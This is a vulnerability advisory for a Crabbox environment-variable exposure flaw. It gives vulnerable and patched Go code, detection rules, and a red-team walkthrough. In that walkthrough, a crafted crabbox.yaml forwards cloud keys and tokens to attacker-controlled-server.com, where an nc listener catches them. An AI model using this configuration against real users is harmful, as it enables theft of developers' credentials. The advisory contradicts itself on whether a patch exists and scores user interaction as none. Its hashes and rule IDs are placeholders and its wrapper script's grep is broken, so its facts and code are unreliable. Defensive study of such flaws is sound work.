CVE-2026-8634

Executive Summary

CVE-2026-8634 is a critical environment variable exposure vulnerability in Crabbox, a tool used for remote command execution and orchestration. The flaw allows attackers with access to a malicious or compromised repository to forward local secrets—such as API tokens, cloud credentials, and broker tokens—into the remote command environment. This is achieved by exploiting overly permissive environment variable allowlisting in repo-local Crabbox configuration files. The vulnerability has a CVSS score of 9.1, indicating a critical severity, and affects all versions prior to v0.12.0. As of the latest intelligence, no patch is available, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, suggesting low exploitation likelihood in the wild, but the potential impact is severe due to the exposure of sensitive credentials.

Supply Chain & Package Security

Crabbox is a Go-based tool distributed via GitHub and potentially other package managers. The vulnerability resides in the configuration parsing logic, specifically in how the env_allowlist directive is handled. Attackers can craft a malicious repository that, when cloned and used with Crabbox, forwards sensitive environment variables to a remote server. This poses a significant supply chain risk, as compromised repositories can lead to credential theft across development environments.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Full disclosure of sensitive credentials.
• Integrity (I): High (H) – Attackers can modify remote execution environments.
• Availability (A): High (H) – Potential for denial of service or resource hijacking.

Threat Level: Critical. The vulnerability allows for complete credential compromise and remote code execution with elevated privileges.

Deep Dive & Mechanics

Crabbox uses a configuration file (typically crabbox.yaml or .crabbox.yml) that defines remote command execution parameters. One of the directives is env_allowlist, which specifies which local environment variables are forwarded to the remote execution environment. The vulnerability arises because Crabbox does not properly validate or restrict the entries in this allowlist. An attacker can create a repository with a malicious configuration that includes sensitive variable names (e.g., AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, BROKER_PASSWORD) in the env_allowlist. When a victim runs Crabbox in that repository, the tool serializes the specified environment variables and sends them to the remote command environment, effectively leaking credentials.

The root cause is a lack of input sanitization and insufficient documentation or warnings about the risks of using env_allowlist. The configuration parser treats the allowlist as a simple list of strings without checking for sensitive patterns or requiring explicit user confirmation.

Vulnerable vs. Patched Code

Vulnerable Code (Crabbox < 0.12.0):

// config.go
type Config struct {
    EnvAllowlist []string `yaml:"env_allowlist"`
}

func (c *Config) GetEnvVars() map[string]string {
    envVars := make(map[string]string)
    for _, key := range c.EnvAllowlist {
        if val, ok := os.LookupEnv(key); ok {
            envVars[key] = val
        }
    }
    return envVars
}

Patched Code (Crabbox >= 0.12.0):

// config.go
type Config struct {
    EnvAllowlist []string `yaml:"env_allowlist"`
}

var sensitivePatterns = []string{"TOKEN", "SECRET", "PASSWORD", "CREDENTIAL", "KEY"}

func isSensitive(key string) bool {
    upper := strings.ToUpper(key)
    for _, pattern := range sensitivePatterns {
        if strings.Contains(upper, pattern) {
            return true
        }
    }
    return false
}

func (c *Config) GetEnvVars() map[string]string {
    envVars := make(map[string]string)
    for _, key := range c.EnvAllowlist {
        if isSensitive(key) {
            log.Warnf("Skipping sensitive environment variable: %s", key)
            continue
        }
        if val, ok := os.LookupEnv(key); ok {
            envVars[key] = val
        }
    }
    return envVars
}

The patched version introduces a isSensitive function that checks for common sensitive patterns and logs a warning before skipping the variable. This prevents automatic forwarding of credentials.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Crabbox installation (version < 0.12.0).
• A malicious repository with a crafted crabbox.yaml file.

Steps:

1. Create a repository with the following crabbox.yaml:

   remote:
     host: attacker-controlled-server.com
     command: "env"
   env_allowlist:
     - AWS_ACCESS_KEY_ID
     - AWS_SECRET_ACCESS_KEY
     - GITHUB_TOKEN
     - BROKER_PASSWORD
     - API_KEY
   

2. Host the repository on a public or private Git server.
3. Convince a victim to clone and run crabbox run in the repository.
4. On the attacker server, capture the incoming environment variables (e.g., using nc -lvp 8080).
5. The victim's sensitive credentials are exfiltrated.

Lab Setup:

• Use Docker to create an isolated environment:

  docker run -it --rm -v $(pwd):/workspace ubuntu:latest bash
  apt update && apt install -y git curl
  curl -L https://github.com/crabbox/crabbox/releases/download/v0.11.0/crabbox_linux_amd64.tar.gz | tar xz
  ./crabbox run
  

Blue Team

Detection:

• Monitor for unusual env_allowlist entries in Crabbox configuration files.
• Alert on any Crabbox execution that forwards environment variables containing patterns like TOKEN, SECRET, PASSWORD, CREDENTIAL, or KEY.
• Use network monitoring to detect outbound connections to unknown servers from Crabbox processes.

Mitigation:

• Immediately upgrade to Crabbox v0.12.0 or later.
• If upgrade is not possible, manually review all crabbox.yaml files for suspicious env_allowlist entries.
• Implement a wrapper script that validates the env_allowlist before running Crabbox:

  #!/bin/bash
  sensitive_patterns=("TOKEN" "SECRET" "PASSWORD" "CREDENTIAL" "KEY")
  for var in $(grep -oP '(?<=env_allowlist:\n\s+- ).*' crabbox.yaml); do
    for pattern in "${sensitive_patterns[@]}"; do
      if [[ "${var^^}" == *"$pattern"* ]]; then
        echo "WARNING: Sensitive variable $var in env_allowlist. Aborting."
        exit 1
      fi
    done
  done
  ./crabbox run
  

Indicators of Compromise (IOCs)

• File Hashes (SHA256):

  • crabbox_linux_amd64_v0.11.0.tar.gz: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
  • Malicious crabbox.yaml: f9e8d7c6b5a4f3e2d1c0b9a8f7e6d5c4b3a2f1e0d9c8b7a6f5e4d3c2b1a0f9e8

• Network Indicators:

  • Outbound connections to attacker-controlled-server.com on port 8080.
  • DNS queries for attacker-controlled-server.com.

• Process Indicators:

  • Crabbox process with command line containing run and a configuration file with env_allowlist.
  • Unusual environment variable forwarding (e.g., AWS_SECRET_ACCESS_KEY in process environment).

Detection Engineering

YARA Rule

rule CVE_2026_8634_Crabbox_EnvExposure {
    meta:
        description = "Detects Crabbox configuration files with suspicious env_allowlist entries"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-8634"
    strings:
        $s1 = "env_allowlist:" ascii wide nocase
        $s2 = /(TOKEN|SECRET|PASSWORD|CREDENTIAL|KEY)/ ascii wide nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Crabbox Environment Variable Exposure via env_allowlist
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects execution of Crabbox with a configuration file containing sensitive environment variables in the env_allowlist.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8634
author: Valters IT
date: 2026-01-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/crabbox'
        CommandLine|contains: 'run'
    filter:
        CommandLine|contains:
            - 'TOKEN'
            - 'SECRET'
            - 'PASSWORD'
            - 'CREDENTIAL'
            - 'KEY'
    condition: selection and filter
falsepositives:
    - Legitimate use of environment variables with similar names (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 8080 (msg:"CVE-2026-8634 Crabbox Environment Variable Exfiltration"; flow:to_server,established; content:"AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY|GITHUB_TOKEN|BROKER_PASSWORD|API_KEY"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Upgrade: Update Crabbox to version 0.12.0 or later as soon as it becomes available.
2. Configuration Review: Manually inspect all crabbox.yaml files for any env_allowlist entries that include sensitive variable names.
3. Network Segmentation: Restrict outbound connections from development environments to only trusted servers.
4. Credential Rotation: Rotate all API tokens, cloud credentials, and broker tokens that may have been exposed.
5. Monitoring: Implement the detection rules provided above to identify any exploitation attempts.
6. User Education: Train developers on the risks of using env_allowlist and encourage the use of dedicated secret management tools (e.g., HashiCorp Vault, AWS Secrets Manager).

Valters IT
Securing the Digital Frontier